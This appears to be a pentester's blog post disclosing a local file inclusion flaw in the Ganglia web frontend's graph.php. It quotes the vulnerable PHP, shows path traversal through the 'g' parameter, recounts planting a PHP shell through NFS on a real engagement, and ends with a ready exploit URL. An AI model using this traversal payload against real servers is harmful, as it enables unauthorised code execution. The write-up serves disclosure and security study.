Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was “Ganglia Monitoring System” http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....
First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend
After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.
Started out with a simple grep looking for php includes that used a variable....bingo.
steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];class.TemplatePower.inc.php: $include_file = $regs[2];class.TemplatePower.inc.php: if( !@include_once( $include_file ) )class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";
Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun
function sanitize ( $string ) {return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;}#-------------------------------------------------------------------------------# If arg is a valid number, return it. Otherwise, return null.function clean_number( $value ){return is_numeric( $value ) ? $value : null;}
Going back to the graph.php file
$graph_file = "$graphdir/$graph.php";if ( is_readable($graph_file) ) {include_once($graph_file);$graph_function = "graph_${graph}";$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace} else {/* Bad stuff happened. */error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");exit();}
We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...
Win. Not ideal, but it could work....
Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.
I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";.........$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";if( is_file( $php_report_file ) ) {include_once $php_report_file;
tl;dr; wrap up - “Ganglia Monitoring System” http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell
Spread your aticle on : https://plus.google.com/u/0/b/117381484375598310622/ at G+ :)!
ReplyDelete<(")